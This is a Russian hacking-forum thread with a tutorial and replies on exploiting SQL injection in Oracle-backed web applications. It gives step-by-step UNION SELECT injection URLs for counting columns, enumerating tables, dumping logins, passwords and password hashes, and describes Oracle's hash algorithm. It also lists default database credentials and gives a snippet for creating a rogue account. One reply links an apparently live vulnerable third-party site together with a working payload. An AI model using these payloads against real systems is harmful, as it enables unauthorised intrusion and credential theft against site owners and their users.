PDA

Просмотр полной версии : Проведение SQL инъекций в Oracle.


[53x]Shadow
21.05.2007, 23:06
Проведение SQL инъекций в Oracle.

[Введение]

Последнее время при исследовании различных веб проектов на уязвимости, стал натыкаться на sql инъекции в Oracle. Хотя в настоящее время редко можно встретить использование этой СУБД в Веб программировании, но все-таки такое случается. Все исследования заканчивались простым обнаружением баги, что делать дальше было непонятно. В ходе поиска статьи, хорошо описывающей практические аспекты эксплуатации данной уязвимости в Oracle, такой как статьи cash и spyder, описывающих инъекции в MSSQL и PostgreSQL, найти не удалось.
В результате поиска была найдена, только лишь серия статей k00p3r, причем полностью копипастнутых со сторонних источников и являющихся простым переводом, прочтение которых не давало ясного представления о проведении скулей в Oracle, т.к. статьи по сути имеют большой объем, носят теоретический характер, и по большей части содержат воду.
В конечном итоге пришлось вспоминать институтские навыки работы с Oracle и перечитывать кучу разрозненной информации в интернет. В этой статье хотелось бы поделиться с вами тем, что мне удалось накопать по проведению sql injection в Oracle и постараться объединить это в одно целое.
Ну и попытаться восполнить пробел, и дополнить серию статей cash и spyder.

[Особенности Oracle]

Вначале приведу некоторые свойства, которые необходимо учитывать при проведении инъекции в Oracle. Сразу хочу оговориться, что в статье рассматривается проведение инъекций в операторе SELECT. Хотя проведение инъекций в операторах INSERT, UPDATE и DELETE, так же возможно.
Так же немаловажен факт, что в статье рассматриваются вопросы проведения инъекции именно в запросах SQL Oracle, а не в процедурах PL/SQL Oracle. Существенное отличие инъекций в процедурах PL/SQL заключается в возможности использования разделителя запросов - символа точки с запятой ";". Но про это имхо нужно писать отдельную статью, с описанием всех вытекающих последствий. Тем более автор считает что в Веб приложениях наиболее часто встречаются инъекции именно в запросах SQL (по крайней мере я сталкивался только с такими).
В Oracle, так же как и в MySQL и в PostgreSQL, инъекция проводится путем использования оператора UNION, т.е. с составлением объединения двух запросов ( далее по тексту для простоты понимания используется термин - подзапрос). Но помимо совпадения количества столбцов в основном запросе и подзапросе необходимо учитывать, что Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при подборе столбцов необходимо подставлять null, в отличии, например от MySQL.
Так же очень важным свойством является то, что все запросы SELECT должны производиться из какой-то таблицы, т.е. синтаксис запроса всегда должен содержать слово FROM и имя таблицы. Для простых арифметических вычислений или других операций, не требующих реальную таблицу, в Oracle существует псевдо таблица SYS.DUAL.
Немаловажным свойством является отсутствие оператора LIMIT.
Для усечения запроса используются символы комментариев “--”(два тире) и "/*"(прямой слеш и звездочка) в SQL Oracle. Первый тип коментариев -однострочный. Второй тип - многострочный.
Нет возможности использования в SQL Oracle нескольких запросов с применением разделителя “;”, в отличии от процедур на PL/SQL.
При обнаружении ошибки можно однозначно идентифицировать Oracle, по присутствию слова ORA в тексте сообщения об ошибке, например:

[Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

Не всегда в тексте ошибки присутствует слово Oracle, например

Warning: OCIStmtExecute: ORA-01722: invalid number in


[Подбор столбцов]

Пусть ошибка присутствует в параметре id:

www.site.com/view.php?id=1’

Определение количества столбцов присутствующих в основном запросе происходит так же, как и в MySQL. Так как оператор UNION требует одинакового количества столбцов, как в основном запросе, так и в подзапросе нам нужно количество этих столбцов определить. При неправильном указании столбцов в подзапросе выводится стандартное сообщение об ошибке:

ORA-XXXXX: query block has incorrect number of result columns

Для подбора столбцов существует 2 известных способа и хорошо описанных в статье spyder. Но приведу их еще раз, дабы читателю не бегать по статьям:

1. Простой перебор.
Составим следующий запрос

www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

Если ошибка появилась, увеличиваем количество столбцов на один

www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

и так пока не исчезнет ошибка.

2. Использование оператора ORDER BY
Второй способ намного быстрее и приятнее, если количество столбцов достаточно большое. Составим следующий запрос

www.site.com/view.php?id=-1+order+by+1--

если ошибки нет, значит столбцов 1 или более 1

www.site.com/view.php?id=-1+order+by+99999--

При таком запросе должна появиться ошибка, что означает столбцов меньше 99999. Далее таким же образом сужаем границы выбранного интервала слева и справа и в конечном итоге определяем реальное количество столбцов в основном запросе.

[Определение принтабельных столбцов]

Допустим, мы определили точное количество столбцов в основном запросе, предположим их 4.

www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--

Теперь нам необходимо определить те столбцы, которые выводятся на страницу. Обычно в выводе участвуют столбцы с типами данных int,char и data. Нам будет достаточно принтабильных столбцов с типами int и char, их и будем искать.
Как было отмечено ранее, Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при попытке подстановки в какой либо столбец значения несоответствующего типа мы получим следующую ошибку несоответствия типов

ORA-XXXXX: expression must have same datatype as corresponding expression

Далее мы начинаем составлять запросы, поочередно заменяя каждый столбец на любое число

www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--

....
www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--

Таким образом, мы выявим принтабельные столбцы с типом int. В том случае если мы получим ошибку несоответствия типов, мы можем воспользоваться функциями преобразования типов to_char(), to_date() и выявить принтабельные столбцы с типами char и data.

www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--

Для справки приведу синтаксис функции to_char():
to_char( value, [ format_mask ], [ nls_language ] )

[Получение информации]

После того как мы узнали количество столбцов и какие из них принтабельны, мы можем смело переходить к получению необходимой информации из базы. Хорошо если нам известны определенные таблицы в базе и столбцы в них, тогда получение информации не составит особого труда. Например, если существует таблица USERS со столбцами ID, LOGIN и PASSWORD, то запрос на получение этих данных будет выглядеть следующим образом

www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--

Так же как и в MySQL, для удобства отображения и преодоления различных проблем с кодировками можно воспользоваться функциями concat(), to_char().
Для преодоления фильтрации кавычек или других необходимых символов, существует функция chr().

[Таблицы и столбцы]

Если пользовательские таблицы нам неизвестны, то мы можем получить различную информацию из известных системных таблиц Oracle.
Узнать имя пользователя, под которым работает интерфейс, а значит и вы, можно вызвав функции user или sys.login_user

www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--


Получить список сессий можно вот так: select * from V$session

Большой интерес представляют таблицы SYS.USER_TABLES и SYS.USER_TAB_COLUMNS, которые содержат все таблицы и их столбцы доступные пользователю. Вытаскиваем имена таблиц и столбцов:

www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--

www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--

Так же, на мой взгляд, в таблице SYS.USER_TABLES помимо table_name, вызывают интерес следующие столбцы: tablespace_name, num_rows, freelist_groups.
Но, к сожалению, составленные выше запросы выведут нам лишь по одной - первой записи из всей таблицы. Возникает непреодолимое желание воспользоваться оператором LIMIT, как в MySQL или в PostgreSQL. К огромному всеобщему разочарованию данный оператор не поддерживается в Oracle, и более того не имеет достойного эквивалента в виде другого оператора.
“ВСЕ ПРОПАЛО!!!” – скажете вы.
“НЕТ!!!” – отвечу я вам.
Помучив изрядно google, я все-таки нашел возможность составить сложный запрос хоть как-то отдаленно реализующий смысловую нагрузку оператора LIMIT. К сожалению, не удалось восстановить его возможности в полном объеме.

www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--

Таким образом, перебирая различное количество записей в выборке, мы можем посмотреть по очереди все имена таблиц. Туже самую конструкцию мы можем использовать при просмотре таблицы SYS.USER_TAB_COLUMNS, при получении всех имен столбцов доступных пользователю.
Так же в Oracle существует понятие префикса объекта (таблица является объектом), который присутствует в названии или имени таблицы:
ALL_ - все доступные пользователю (владельцем может и не быть),
USER_ - объекты, чьим владельцем этот пользователь является.
Следовательно, мы можем упростить себе задачу и вытащить имена только тех таблиц, к которым мы имеем доступ

www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables

Интерес так же может представлять информация из следующих стандартных таблиц: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

[Пароли]

Если нам повезло и пользователь, под которым мы работаем с базой, имеет права sysdba, то мы можем получить хеши всех пользователей базы.
Основное место хранения свертки пароля (хеш) - таблица словаря-справочника SYS.USER$. Над этой таблицей как базовой построена производная, SYS.DBA_USERS. Если в профиле пользователя включен параметр PASSWORD_REUSE_TIME, свертки пароля также хранятся в SYS.USER_HISTORY$. Достать хеши и имена пользователей можно вот так

www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users

Для полноты информации представлю еще и алгоритм вычисления свертки пароля, на всякий случай, может кому и пригодится:
1. К имени пользователя приклеивается справа текст пароля.
2. В получившейся строке буквам повышается регистр.
3. Символы строки переводятся в двухбайтовый формат дополнением слева нулевым значением 0x00 (для символов ASCII), и справа строка дописывается нулевыми байтами до общей длины 80.
4. Получившаяся строка шифруется алгоритмом DES в режиме сцепления блоков шифротекста (CBC) ключом 0x0123456789ABCDEF.
5. Из последнего блока результата удаляются разряды четности и полученная строка (56 разрядов) используется для нового шифрования исходной строки тем же способом.
6. Последний блок результата переводится в знаки шестнадцатиричной арифметики и объявляется конечным результатом - сверткой.

[Копирайты]

При написании статьи использовались следующие материалы:
Проведение SQL-Injection в PostgreSQL, статья Spyder, http://forum.antichat.ru/thread35599-oracle.html
Проведение Инъекций в MSSQL сервер от Microsoft, статья cash, http://forum.antichat.ru/thread30501-mssql.html
Как взломать парольную защиту Oracle или как ее обойти, статья Пржиялковского В., http://citforum.ru/database/oracle/passwd/
А так же пользовался документацией по Oracle 10i.

[ЗЫ]

В этой статье я попытался рассказать и показать практические аспекты проведения SQL инъекций в Oracle. Надеюсь кому нибудь пригодится. Критика, дополнения и замечания приветствуются в полном объеме, т.к. это моя первая статья. :rolleyes:
Хочу выразить благодарности cash и spyder, за их статьи, на примере которых я писал и учился. :)
А так же Thanat0z за предварительную рецензию. :)

l1ght
23.05.2007, 14:57
Как насчет вывода в файл/читалки файлов? в oracle есть аналоги?

[53x]Shadow
23.05.2007, 15:56
Имхо синтаксис SELECT в SQL ORACLE не поддерживает вывода результата запроса в файл или загрузки файлов, как например в MySQL.

.Slip
23.05.2007, 17:26
Не видел ничего про
sys.all_tables
sys.all_tab_columns
- V$session
- user_objects
- user from dual

Про это всё тоже добавь, думаю лишним не будет. Кстати про создание своего акка в Оракле тоже не написано.

[53x]Shadow
23.05.2007, 23:51
']Не видел ничего про
sys.all_tables
sys.all_tab_columns
- V$session
- user_objects
- user from dual

Об этом написано в разделе [Таблицы и столбцы], а вот про session, действительно забыл, обязательно дополню, спасибо что напомнил.

Кстати про создание своего акка в Оракле тоже не написано.

По-поводу добавления акка, я вначале статьи, подчеркнул, что провожу анализ инъекций через SELECT. И его синтаксис не позволяет добавлять акк. И вообще я не уверен, что даже через INSERT или UPDATE возможно это провернуть, т.к. только через CREATE мона создавать юзверя и имхо в sys.dba_users инсертом не внесешь юзверя, если ошибаюсь - поправьте.

PSalm69
24.05.2007, 09:06
Манн от Elekt
Создаём Аккаунт:
CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;

podkashey
26.05.2007, 00:15
Моя по ораклу статья ушла в болталку:
https://forum.antichat.ru/thread16614-dual.html
Там надо бы конечно все собрать во едино, но думаю на следующей неделе собирусь с силами и перепишу ее нормально. Хотя и ольше года ей уже... ;)
Теперь немного по твоей статье:
инъекция проводится путем использования оператора UNION, т.е. с составлением подзапроса
Подзапросы и юнион это разные вещи. Юнион просто объединяет два запроса и называть один из них запросом, а другой подзапросом некорректно.
Немаловажным свойством является отсутствие оператора LIMIT.
Зато есть параметр rownum, что дает большую функциональность.
Для усечения запроса используются символы комментария “--”(два тире) в SQL Oracle.
Есть не только такие комментарии. Другие указаны в той статье.
Нет возможности использования нескольких запросов с применением разделителя “;”
Пистапольство! Само собой в оракле это есть. В частности благодаря этому можно свои процедуры и функции вставить через скуль, а в них юзать сплойты, которые до сих пор бывают актуальны. Но это уже тема отдельной статьи.
мы можем воспользоваться функциями преобразования типов to_char(), to_date()
Тут можно было бы чуть подробнее расписать.
Интерес так же может представлять информация из следующих стандартных таблиц: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.
Вьюхи и триггеры ИМХО не будут представлять большого интереса. Триггер может конечно представлять, если он, например, вставляте записи от другого юзера в недоступную обычному таблицу, но я не думаю, что это где-то реализовано, да и в таком случае можно вряд ли можно откопать что-то существенное.
Если нам повезло и пользователь, под которым мы работаем с базой, имеет права sysdba, то мы можем получить хеши всех пользователей базы.
Ну в таком случае можно что угодно сделать, например добавить еще одного юзера с правами ДБА.
Так как в статье ошибка по поводу использования ";", то юзер должен создаваться без всяких проблем. Также через V$session можно узнать времена подключения разных юзеров к БД и некоторые другие параметры. Но ИМХО если это скуль, то доступа к V$session не будет, а если и будет, то будет все засорено обычными пользователями сайта.
Также следует уточнить, что по умолчанию пассы в оракле следующие:
system:manager
sys:change_on_install
Привилегий у sys больше чем у system (правда я хз куда уж больше) и всякие нерадивые админы частенько о нем забывают. Еще есть scott:tiger, если мне не изменяет память, в честь кота создателя оракла, который есть по умолчанию и о котором тоже забывают многие и еще какие-то юзеры. Кому интересно, думаю не трудно найти в инете или дождаться, когда у меня руки дойдут для переписывания старой статьи.
П.С. Че-то прям вспомнил как мне обидно было когда ту статью мою перенесли в болталку. Тогда решил больше не писать ничего из-за такого отношения...

[53x]Shadow
26.05.2007, 02:39
Спасибо конечно за критику, но....

Подзапросы и юнион это разные вещи.
Согласен на все 100, просто для удобства разъяснения, не будешь же писать: "в первом запросе объединенным со вторым", можно запутать читателя ;)

Зато есть параметр rownum, что дает большую функциональность.
Во-первых про энтот параметр у меня написано в разделе [таблицы и столбцы]!!!
Во-вторых не надо вводить в заблуждение читателей, данный параметр не дает большей функциональности!!! Их вообще нельзя сравнивать, limit работает как с таблицей так и с выборкой, а numrow работает только с выборкой и является просто псевдостолбцом!!!
А если уж сравнивать то параметр limit позволяет выбрать конкретное число строк из таблицы начиная с определенной, а параметр numrow только лишь количество строк.


Есть не только такие комментарии. Другие указаны в той статье.
Для проведения инъекции достаточно и этих ;)

Пистапольство! Само собой в оракле это есть. В частности благодаря этому можно свои процедуры и функции вставить через скуль, а в них юзать сплойты, которые до сих пор бывают актуальны. Но это уже тема отдельной статьи.

Дорогой друг не надо путать божий дар с яичницей!!!
Разделитель запросов точка с запятой ";" присутствует только во всяких средствах разработки типа SQL*Plus или SQLNavigator, позволяющих разделять запросы, но только у себя на уровне приложения, естественно на уровне драйвера к самой СУБД они их сами разбивают на несколько запросов и проводят по-раздельности!!!
Пробовали ли вы хоть раз составить запрос из нескольких разделенных точкой запятой операторов и выполнить это в приложении на java или php, не важно через какой интерфейс вы работаете (OCI, JDBC, ....), боюсь, что нет. В этом случае вы моментально получите сообщение об ошибке invalid character с указанием на ";"!!!
Так же этот разделитель используется в процедурах PL\SQL, но ето совсем другая история и не относится к инъекции в SQL (имхо надо различать!).

А если вы мне не верите вот вам пример живой скули с Oracle:
http://www.newsdesk.umd.edu/uniini/release.cfm?ArticleID=-1+union+select+1,null,null,null,sys.login_user+fro m+sys.dual--
попробуйте вставьте два запроса через точку с запятой и все мои слова подтвердятся ;)

Так как в статье ошибка по поводу использования ";", то юзер должен создаваться без всяких проблем.Ошибки НЕТ! Не надо путать читателя!!!

По остальным замечаниям претензий не имею, готов дополнить свою статью;)
ЗЫ
podkashey не обижайся, но я кажется догадываюсь почему перенесли твою статью в болталку ;)
ЗЗЫ
Спасибо за ЗАМЕЧАНИЯ!

geezer.code
26.05.2007, 02:46
Вот тут (http://www.petefinnigan.com/default/oracle_default_passwords.htm) находится список пользователей по умолчанию:
логины, пароли, хэши паролей, краткое описание.

почти 600 штук, не думал, что их ТАК много.

podkashey
26.05.2007, 16:11
Во-вторых не надо вводить в заблуждение читателей, данный параметр не дает большей функциональности!!! Их вообще нельзя сравнивать, limit работает как с таблицей так и с выборкой, а numrow работает только с выборкой и является просто псевдостолбцом!!!
А если уж сравнивать то параметр limit позволяет выбрать конкретное число строк из таблицы начиная с определенной, а параметр numrow только лишь количество строк.
Введи rownum <=3 and rownum >=1
Для проведения инъекции достаточно и этих
Это однострочный комментарий и он не закомментит оставшиеся строки.
Про разделитель ; мне не хочется искать примеров, но во многих местах он работает. Скорее всего зависит от того как происходит связь БД с Веб.
Ошибки НЕТ! Не надо путать читателя!!!
Как сказано выше, ошибка есть.
ЗЫ
podkashey не обижайся, но я кажется догадываюсь почему перенесли твою статью в болталку
ЗЫ Не обижайся, но только что ты кажется сел в лужу и то, что ты написал много слов про драйвера, средства разработки, интерфейсы никак не помогут обычному читателю, поэтому я стараюсь избегать таких слов. Хотя можно конечно во всяких нотациях расписать все комманды скуля и сказать думайте сами.
ЗЗЫ Спасибо за попытку поспорить ;)
ЗЗЗЫ Че-то у меня снова отпало желание переписывать статью... ;)
Вот тут находится список пользователей по умолчанию:
Это к разным модификациям, веткам итд, то есть в реале штук 5 - 10 от силы будет.
Сейчас смотрю на 8ом оракле: adams, blake, clark, jones, scott.

[53x]Shadow
26.05.2007, 18:04
ЗЫ Не обижайся, но только что ты кажется сел в лужу и то, что ты написал много слов про драйвера, средства разработки, интерфейсы никак не помогут обычному читателю, поэтому я стараюсь избегать таких слов. Хотя можно конечно во всяких нотациях расписать все комманды скуля и сказать думайте сами.
Это я писал не для обычного читателя а для тебя, надеясь что более полное объяснение с привидением примеров, в качестве док-ва, поможет тебе разобраться! Видимо не помогло, не вижу смысла дальше пытаться тебя переубедить :( А с твоей стороны кроме пустой болтовни и необоснованных утверждений я ничего так и не услышал. Я готов с радостью признавать свои ошибки и исправляться, но для етого должно быть четкое обоснование своих утверждений!
ЗЫ
Я же не виноват, что твою статью перенесли в болталку, не надо на мне срывать свое недовольство. Вместо пустых приперательств, выложи свою версию статьи и посмотрим что скажет народ!

podkashey
27.05.2007, 02:32
Хорошо, назови пункты по которым ты со мной не согласен кроме точки с запятой и само собой вытекающего отсюда создания юзера.
Позже приведу тебе пример скули, где проходит ;
А с твоей стороны кроме пустой болтовни и необоснованных утверждений я ничего так и не услышал. Я готов с радостью признавать свои ошибки и исправляться, но для етого должно быть четкое обоснование своих утверждений!
Можешь расставить плюсики и минусики напротив моих утверждений с обоснованием:
1. rownum как минимум равноценен limit, но вообще удобнее, так как можно вывести строки например через одну.
2. комментариев "--" не достаточно при скулях в оракле и в большинстве случаев надо использвать другие из-за многострочных запросов.
3. точка с запятой в некоторых случаях поддерживается, а в некоторых нет.
Это основные пункты, по остальным не интересно спорить, так как они не принципиальны, малозначимы или вытекают из этих.

[53x]Shadow
27.05.2007, 02:56
Честно говоря особо спорить здесь не почему, только личное мнение что где-то одно лучше, а где-то другое ;)
1. rownum как минимум равноценен limit, но вообще удобнее, так как можно вывести строки например через одну.
Собственно для проведения скулей одинаково удобны, имхо не понадобится выведение строк через одну ;)
2. комментариев "--" не достаточно при скулях в оракле и в большинстве случаев надо использвать другие из-за многострочных запросов.
Как показал мой прошлый пример и вообще если использовать union, то необходимо комментить только запрос в котором скуля, до остальных пофиг. Но опять имхо таких скулей больше ;) Да и вообще по этому моменту спорить нет смысла, я согласен етсть другие коменты про них тоже надо написать.
3. точка с запятой в некоторых случаях поддерживается, а в некоторых нет.
То есть ты согласен, что хотя бы в некоторых нет. Так что не надо было утверждать что поддерживается всегда. Но вообще с твоим перефразированным утверждением я согласен. При чем могу все таки предположить, что скорее всего возможно разделение запросов именно в процедурах PL/SQL и если уязвимость действительно в процедуре, то может быть возможно воспользоваться ;. Но могу поспорить, что именно в SQL запросах Oracle нет возможности использования ; обоснование данного утвержедния я отписывал выше. Имхо надо различать SQL и PL/SQL, и по инъекциям в процедуры в PL/SQL мона писать отдельную статью и как раз там описать возможность добавления пользователей и тд
ЗЫ
Не вижу смысла спорить дальше, у всех свои методы проведения инъекций, мои мне всегда помагали и я о них написал. На полный мануал я не претендую. Внес дополнения и изменения в связи с последнимими замечаниями и предложениями!
ЗЗЫ
С удовольствием посмотрю пример с использованием разделителя ; и добавлением пользователя ;)

podkashey
28.05.2007, 00:33
Как показал мой прошлый пример и вообще если использовать union, то необходимо комментить только запрос в котором скуля
Запрос может быть в несколько строк.
если уязвимость действительно в процедуре
Это бред ;) Уязвимость в создании процедры чтоле? ;) А если в функции, то она вызывается, как и внутренняя функция. Процедура вызывается через бегин-енд, то есть в пл/скл, то есть там точно поддерживается ;.
По поводу использования скл или пл скл. ИМХО на нормальных сайтах используется пл/скл, чтобы проводить единые транзакции. То есть вместо обычного запроса используется begin select ... end; то есть ; в инъекции применима. Вобщем все выяснили. С меня скуля с ; а с тебя пиво, если я ее предоставляю. Договорились ;)))

[53x]Shadow
28.05.2007, 00:53
Это бред Уязвимость в создании процедры чтоле? А если в функции, то она вызывается, как и внутренняя функция. Процедура вызывается через бегин-енд, то есть в пл/скл, то есть там точно поддерживается ;.
Имелось ввиду - уязвим параметр вставляемый в какой-то запрос в хранимой процедуре, соответственно на этапе выполнения процедуры, мы можем через уязвимый параметр сделать инъекцию в процедуру, а так как там поддерживается ; (я знаю что там как раз это поддерживается ;)) мы можем использовать разделение на несколько запросов и вставить свой.
то есть ; в инъекции применима.
Да, но только в Pl/sql.
С меня скуля с ; а с тебя пиво, если я ее предоставляю. Договорились
Договорились, адназначна ;)

guest3297
29.05.2007, 14:32
Прочитал статью много не противоречий, в целом написанна грамотно.
1. rownum как минимум равноценен limit, но вообще удобнее, так как можно вывести строки например через одну.
2. комментариев "--" не достаточно при скулях в оракле и в большинстве случаев надо использвать другие из-за многострочных запросов.
3. точка с запятой в некоторых случаях поддерживается, а в некоторых нет.
1) rownum не когда не был аналогом лимит, согласен они похожи но сравнивать их нереально.
2) иногда их не надо исползывать вообще, коментарии используються для отброса дальнейшего запроса, и их всегда достаточно другое дело если используються сложные функции
{......}
то ее можно просто закрыть или привети к нулевому значению. И какая разница сколько строк занимает скуль часто встречал очень длинный запрос со сравниванием сортировкой и так далее и в конце where=$a.
3); может не работать только из-за неправильно или умышленно построенной реализацей кода так, как в большинстве СуБД Строки запросов разделяються именно так, посмотрим банальный пример дампа.

Shred
29.05.2007, 16:55
прочитал и статью и далее следующий мега батл великих умов :). Интрересно всё же узнать правильный ответ, можно ли коректно юзать";"? Сам пробовал на 2х сайтах, результат - ORA-00911: invalid character. Хотя большая вероятность, что просто не верно составлял запрос :) . Кста афтору +1

guest3297
29.05.2007, 17:24
В снитаксисе Orale Запросы разделяються ; другой вопрос можно ли применять их в иньекциях. В MySQL запросы тоже разделяються ; но в иньекциях их нельзя применять, а оркл же иногда позваляет их применять.

podkashey
29.05.2007, 19:01
[ cash ], тоже пива хочешь? ;)
[53x]Shadow, думаю ты не против, если мы с [ cash ] пивка попьем? ;)
1) rownum не когда не был аналогом лимит, согласен они похожи но сравнивать их нереально.
Приведи примеры того, что можно сделать лимитом и нельзя rownum. Пример в пользу rownum я уже привел.
очень длинный запрос со сравниванием сортировкой и так далее и в конце where=$a.
гыгыгыы.... Пример в студию. Само собой сортировка должна быть не в подзапросе и не в одном из запросов, объединенных юнионом.... Хотя я не против, если ты тоже мне пивка поставишь вместо того чтобы признать ошибку.... ;)))
уязвим параметр вставляемый в какой-то запрос в хранимой процедуре, соответственно на этапе выполнения процедуры, мы можем через уязвимый параметр сделать инъекцию в процедуру
Ты имеешь в виду например select my_func($a) from dual; и вместо $a подставить строку с инъекцией?
Ну это уже перебор. На уровне того, если в паскале например мы создадим процедуру и туда вместо параметра подставим "15; exit" например. Вобщем само собой такого в оракле не будет. Если я конечно тебя правильно понял.

guest3297
29.05.2007, 19:13
podkashey
Мб, я нареоман но в оралкле есть лимит?

Пример в студию.
Да их милионы. или ты имеешь ввиду иньекцию.

SELECT *
FROM
(SELECT ROWNUM rownum2, inline_view1.*
FROM
(SELECT ROWNUM rownum1, ename, hiredate
FROM emp
ORDER BY hiredate
) inline_view1
) inline_view2
WHERE $row

[53x]Shadow
30.05.2007, 01:53
Вообщем хочу подвести некоторые итоги, на мой взгляд по основному вопросу: Есть ли возможность применять разделитель запросов (в данном случае символ ";") в Oracle? Делаю это не с целью продолжения спора, а с целью разъяснения остальным читателям как обстоит дело на самом деле. Попытаюсь дать развернутый ответ, чтобы не осталось вопросов.

Немного теории.
Еще раз повторюсь - необходимо различать SQL и PL/SQL в Oracle. Для справки: язык PL/SQL - это процедурный язык представляющий собой расширение стандарта ANSI языка SQL, разработанного фирмой Oracle.
Для начала рассмотрим рис2.
http://www.imagehosting.com/out.php/i1067592_382.gif
Программы, написанные на языке PL/SQL, выполняются системой-исполнителем языка, которая представляет собой часть сервера БД Oracle. Независимо от средства, с помощью которого формируется исполняемый код, он посылается на сервер Oracle. Система исполнитель языка PL/SQL сканирует, разбирает и компилирует код. После этого код, готов к выполнению. Выполняется код посредством передачи его SQL Statement Executor (системе исполнителю SQL-кода). Соответственно простые SQL запросы перенаправляются непосредственно исполнителю SQL-кода. Смотрим рис3.
http://www.imagehosting.com/out.php/i1067598_383.gif
Основное преимущество при работе с PL/SQL как языком БД является то, что на исполнение серверу посылается группа SQL предложений, а не единичные запросы сформированные, скажем какой-либо программой не использующей PL/SQL как средство работы с БД. Действительно, получив PL/SQL блок, сервер приступает к его обработке, а клиенту остается только ожидать результата операции. Тогда как единичные запросы к БД, порождают большой трафик и тормозят работу сети в целом.

Основной вопрос.
В чем же синтаксическое отличие SQL от PL/SQL или как Oracle различает какому исполнителю перенаправить запрос на обработку? Все достаточно просто если запрос DML(Data manipulation language), т.е. select, update, insert или delete, обрамлен конструкцией begin...end, то это PL/SQL, если нет то SQL. Естественно синтаксис PL/SQL позволяет включать несколько запросов в одну процедуру, разделяя их символом-разделителем ";". Соответственно синтаксис SQL не позволяет разделять запросы ни какими символами, запросы выполняются на сервере строго по одному.

Немного практики.
Нас интересует вопрос проведения SQL инъекции в Веб-приложениях. Для того что бы было более понятно необходимо подойти не со стороны атакующего, а со стороны атакуемого, т.е. посмотреть пример реализации ключевых моментов взаимодействия Веб-приложения с СУБД Oracle. Рассмотрим пример на php, как наиболее знакомый и простой для понимания, хотя по сути аналогично происходит взаимодействие и в других языках C, Java, ASP и т.д.
Воспользуемся интерфейсом OCI для взаимодействия с БД и рассмотрим пример реализации запроса SQL и PL/SQL на PHP:
1. SQL запрос
$c=OCILogon("scott", "tiger", "orcl");
$s = OCIParse($c, "select name from tab1 where id = ".$_GET['id']);
OCIExecute($s, OCI_DEFAULT);

2. PL/SQL запрос
$c=OCILogon("scott", "tiger", "orcl");
$s = OCIParse($c, "begin select name from tab1 where id = ".$_GET['id']."; end;");
OCIExecute($s, OCI_DEFAULT);

Рассмотрев эти два примера, можно сказать что если параметр id не фильтруется, возможна инъекция в обоих примерах. Но если в первом примере попробывать вставить второй запрос используя разделитель ";", то вы в любом случае получите ошибку синтаксиса invalid character с указанием на символ ";". А если во втором примере вставить, то все будет ок ;) Все примеры приведенные выше аналогично реализуются и в других языках, только там функции называются по другому :)

Выводы.
Таким образом нельзя однозначно утверждать, что символ разделитель запросов можно или нельзя использовать в инъекциях Oracle. Все зависит от того какие запросы используются в уязвимом приложении. Если простые SQL-запросы то невозможно, если PL/SQL то возможно.

ЗЫ
Имхо реализация из первого примера наиболее распространена в сети, по крайней мере повторюсь я натыкался только на такие, но не сомневаюсь, что есть и второго типа. Что касается статьи, то писал я ее для инъекций в простых SQL-запросах Oracle, это указано в начале, по-этому касательно статьи - ошибки нет.

ЗЗЫ
to podkashey
Ты имеешь в виду например select my_func($a) from dual; и вместо $a подставить строку с инъекцией?
Ну это уже перебор. На уровне того, если в паскале например мы создадим процедуру и туда вместо параметра подставим "15; exit" например. Вобщем само собой такого в оракле не будет. Если я конечно тебя правильно понял.
Я имел ввиду второй пример приведенный выше, но и через параметры в процедуру имхо тоже можно инъекцию провести, если нет фильтрации, хотя такое наверно не реально встретить в сети (имею ввиду использование хранимых процедур для Веб). ;)
Жду примера, попьем пивка :)

guest3297
30.05.2007, 02:46
Oracle не исключает SQL, так же как не исключает и PL/SQL. Смысл спора мне не ясен.
Вообще различных реализаций море.

FaLL3N
19.06.2007, 20:52
Имхо, если прав на системные объекты нет, то не видать хешей как своих ушей. И в большинстве случаев, инфа предоставлена в виде селектов из сторед вьювов, и только на них есть у юзера права, так что... оракл это вам совсем не мускул

[53x]Shadow
21.06.2007, 20:03
Имхо, если прав на системные объекты нет, то не видать хешей как своих ушей. И в большинстве случаев, инфа предоставлена в виде селектов из сторед вьювов, и только на них есть у юзера права
Это ты к чему вообще?
В статье ясно все описано про права и что мона достать имея эти права...

[Raz0r]
27.08.2007, 00:23
Теперь нам необходимо определить те столбцы, которые выводятся на страницу. Обычно в выводе участвуют столбцы с типами данных int,char и data. Нам будет достаточно принтабильных столбцов с типами int и char, их и будем искать.
Как было отмечено ранее, Oracle не осуществляет автоматического приведения типов в подзапросе. Поэтому при попытке подстановки в какой либо столбец значения несоответствующего типа мы получим следующую ошибку несоответствия типов: ORA-XXXXX: expression must have same datatype as corresponding expression
После того как подобрал необходимое количество столбцов с помощью нуллов я сразу получаю приведенную выше ошибку несоответствия типов. Разве null имеет какой-либо тип?

[53x]Shadow
27.08.2007, 01:53
']После того как подобрал необходимое количество столбцов с помощью нуллов я сразу получаю приведенную выше ошибку несоответствия типов. Разве null имеет какой-либо тип?
